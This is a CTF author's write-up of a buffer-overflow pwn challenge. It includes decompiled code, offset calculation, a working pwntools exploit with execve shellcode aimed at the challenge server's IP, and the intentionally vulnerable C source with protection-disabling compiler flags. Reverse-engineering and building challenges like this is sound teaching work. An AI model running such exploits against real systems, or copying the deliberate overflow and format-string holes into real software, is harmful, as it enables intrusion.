Gumbs Snotbottom

Description of the Problem

Recently I made my first Pwn challenge that was more involved than I had expected it to be. Gumbs Snottbottom is a challenge posed as a student with poor coding skills trying to show off his work to the world. All we are given is a net-cat connection and a file that appears to be a linux elf binary when we run file on it. When we connect to the challenge we can a program that appears to take user input and spit it back out in lower-case.

Finding The Vulnerability

The first thing I always do is run pwntools checksec command on it to see what sort of protections are enabled in the binary.

We cans see that ASLR, NX, and stack canaries are disabled. Because of this, if we can reliably exploit a buffer overflow and return to our shellcode in the stack, then we should be able to own the challenge.

Lets now look at the program statically using ghidra. When we do this we see that there are three interesting function: main(), input(), and to_lower().

main()

1
2
3
4
5
6
7
8
9
10
undefined8 main(void)

{
setbuf(stdout,(char *)0x0);
setbuf(stdin,(char *)0x0);
setbuf(stderr,(char *)0x0);
puts("Input Text:");
input();
return 0;
}

input()

1
2
3
4
5
6
7
8
9
void input(void)

{
char local_48 [64];

fgets(local_48,0x60,stdin);
to_lower(local_48,0x18);
return;
}

to_lower()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void to_lower(char *param_1,int param_2)

{
int iVar1;
int local_c;

for (local_c = 0; local_c < param_2; local_c = local_c + 1) {
iVar1 = tolower((int)param_1[local_c]);
param_1[local_c] = (char)iVar1;
}
printf("RESULT: ");
printf(param_1);
return;
}

So it seems the basic flow of the program is that main prints Input Text:, calls input() which receives 96 bytes using fgets into a 64 byte array, and then it calls to_lower() which takes the input buffer and converts each of the characters into a lower-case version of that character before printing the array.

There are two obvious vulnerabilities here both of which might be useful. The first one is the fgets() function which is taking in more bytes than is allocated in the buffer. This allows us to write past the allocated memory in the buffer and cause a buffer overflow. We can confirm this by inputing 96 characters into the program and watching it crash. The second vulnerability is that the two_lower() function directly prints the variable making vulnerable to a string format attack. This might be useful if we need to leak any addresses at runtime.

Constructing the Payload

The first thing we need to do is find how far the return pointer is from the buffer on the stack. We can do this by opening the binary in pwngdb and calculating it manually.

In this image, we input AAAA input the input function and placed a breakpoint immediately after fgets() returned. We can see that the buffer begins at address 0x7fffffffdfc0 and the return instruction pointer is located at 0x7fffffffe008. Do a little subtraction and we’ll find that there are 72 bytes between the start of the buffer and the return address we are trying to overwrite. Now all we need to do is find a reliable way to return to the stack so that we can execute our shellcode. There are two ways of doing this, find a gadget that helps us get there or use a string-format attack to calculate the address of the stack on the system. I’ll be trying the gadget first.

If we look at the registers of the programm before input() returns we’ll see the following:

Both registers RSI and R10 contain the address of our buffer which means if we can find a gadget that jumps/returns to either of these registers then we can stet the stack pointer to container that address when we return from the inputs instruction. We can look for ROP gadgets using pwntools ROPgadget command and piping it into grep to look for specific registers.

We find the exact gadget we need at the address 0x401271. With this information we can contruct our final payload.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *			                #import the library

context.arch = "AMD64"

#Shellcode
sc = """
//getegid
xor rax, rax
mov al, 0x6c
syscall

//setregid
mov rdi, rax
mov rsi, rax
xor rax, rax
mov al, 0x72
syscall

//execve
xor rax, rax
mov al, 0x3b
xor rsi, rsi
xor rdx, rdx
push rsi
mov rdi, 0x68732f6e69622f2f
push rdi
mov rdi, rsp
syscall
"""

code = asm(sc) #assemble the shellcode


target = "./cs101-hw1" #filename you want to exploit
elf = ELF(target) #opens the target file as an elf so pwntools can interact w/ it.
io = remote('18.216.238.24', 1001) #Connect to the target program running on 18.216.238.24:1001.


#Payload
payload = b"\x90" *(72-len(code)) #NOP sled before the shellcode to fill exact buffer size of 72
payload += code #Place the shellcode
payload += p64(0x401271) # overwrite the return address

io.recvuntil(b"\n") #Receive input until you get where you want in the program.
pause() #Pause the program and give gdb a chance to attach to the program.
io.sendline(payload) #send your payload into the buffer.

io.interactive() #opens an interactive shell
solution.py

Run it and we get our solution.

Creation

Below is the code I wrote to create the challenge. I was able to hide the gadget in an if statement by writing inline assembly that ghidra wasn’t able to pick up on in its disassembler, but if you read the assembly inside main you can clearly see a jmp rsi at the end of main.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>

void to_lower(char * buffer, int length){
for (int i=0; i<length; i++){
buffer[i] = tolower(buffer[i]);
}
printf("RESULT: ");
printf(buffer);
}

void input()
{
char buffer[64];

fgets(buffer, 96, stdin);
to_lower(buffer, 24);
}

int main()
{
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);

printf("Input Text:\n");
input();

int i = 1;
if(i == 0){
__asm__("jmp %rsi;");
}

return 0;
}

I compiled the program with the following Makefile. As you can see I added the compile flags -O0 -fno-pie -no-pie -fno-stack-protector -fcf-protection=none -z execstack.

  • -O0 No optimization makes the assembly easier to follow and prevents my ROP gadget from being optimized out of the binary.
  • -fno-pie and -no-pie ensure that there won’t be any address randomization in the binary when it runs.
  • -fcf-protection is used to prevent attacks that take control of the control flow. So we made sure that was off.
  • -z execstack turns of no execution allowing us to execute shellcode on the stack.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
CC=gcc
CFLAGS=-O0 -fno-pie -no-pie -fno-stack-protector -fcf-protection=none -z execstack

BIN=cs101-hw1
SRC=shellcodebasic.c

all: $(BIN)

$(BIN): $(SRC)
$(CC) -o $@ $(CFLAGS) $^

clean:
rm $(BIN)

Lessons Learned

There are some mistakes that I’d like to discuss. The first mistake is that I accidentially gave the competitors the wrong binary. I gave them the one I compiled on my personal machine instead of the one compiled on the docker container hosting the problem. The main issue this caused from what I can tell is that the addresses of the stack between my local machine and container’s machine were different. This might have happened anyways due to environment variables being different but it is still bad practice to do what I did lol. Luckily, it didn’t end up being important because the challenge didn’t rely on return to libraries and I provided the user with a ROP gadget and a leak to get to the exact address of where the stack begins on the stack.

Another mistake I made was not telling the user what environment the challenge was built in. Dynamic analysis was pretty important to completing this challenge so I think I should have made a note in the description that the binary was compiled in a clean version of Ubuntu 22.04 so that they could adjust their environment as necessary to analyze the challenge. I think both of these problems can be fixed with competing in more CTFs to see how other people write and host Pwn style challenges.